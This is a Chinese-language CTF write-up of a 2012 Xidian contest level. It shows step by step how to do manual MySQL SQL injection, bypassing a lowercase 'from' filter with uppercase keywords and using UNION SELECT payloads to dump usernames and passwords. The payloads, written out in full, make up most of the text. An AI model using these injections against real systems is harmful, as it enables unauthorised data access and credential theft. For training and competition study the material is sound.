比赛地址:https://csc.xdsec.org。感兴趣的朋友可以看下。。。
边学边试弄了一个晚上,终于过了这关。以前没有学过PHP+MYSQL的注入,ASP也只会用啊D一类工具,今天算是手工注入了一次。
界面只有一个文本输入框。推测应该是字符型的注入点。
先提交一个单引号试试,没有任何回显,也没有报错,推测把单引号当做一个字符执行了。。。
提交1',奇迹出现了。。。
推测SQL应该是这样写的
select firstname,surname from XXX where id='xxx'
但是为毛会出现这个。。。我也搞不懂。。。求大神指教。。。
不管他,继续提交
admin' and exists (select * from admin) and '1'='1
完整的SQL语句应该是
select firstname,surname from XXX where id='admin' and exists (select * from admin) and '1'='1'
看起来一点问题没有。。。但是,出错了。。。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '*admin) and '1'='1'' at line 1
开始想了半天没想明白为什么出错了。。。后来仔细看了下错误信息
near '*admin) and '1'='1''
突然发现*和admin中间的from不见了。。。。被过滤了!!
【2012西电网络攻防大赛(XDCSC2012)网络渗透0x009通关方案】于是改成大写试试。
admin' AND EXISTS (SELECT * FROM admin) and '1'='1
再次提交。这次没有被过滤,返回信息
Table 'goal.admin' doesn't exist
百度之,发现是不存在表admin。
然后又试了几个常见表名,试到users的时候不返回错误了。
然后猜字段。提交
admin' AND EXISTS (SELECT admin FROM users) and '1'='1
返回
Unknown column 'admin' in 'field list'
再次百度之,字段admin不存在。
继续试字段。最后字段user,password存在。
然后提交
admin' AND 1=2 UNION SELECT password FROM users WHERE user='admin' and '1'='1
这儿我想直接拿到password的值,结果返回
The used SELECT statements have a different number of columns
百度之,发现要猜字段数量。关于这个,这儿有详细的说明:http://www.myhack58.com/Article/html/3/7/2011/29898.htm
于是提交
admin' AND 1=2 UNION SELECT 1,2 FROM users WHERE user='admin' and '1'='1
显示了这个
这时候把1替换为password,提交
admin' AND 1=2 UNION SELECT password,2 FROM users WHERE user='admin' and '1'='1
返回的结果
这样就拿到了password字段的值了。。。
其实刚才猜出列名之后就应该先猜字段数量的。我觉得正确的步骤应该是
提交
admin' AND 1=2 UNION SELECT 1 FROM users WHERE '1'='1
返回
The used SELECT statements have a different number of columns
说明字段数量不对,于是继续猜,提交
admin' AND 1=2 UNION SELECT 1,2 FROM users WHERE '1'='1
这时候出现了
说明字段数量对了
然后将1,2替换为user,password,提交
admin' AND 1=2 UNION SELECT user,password FROM users WHERE '1'='1
出现了这个
所有的user,password值都显示出来了。。。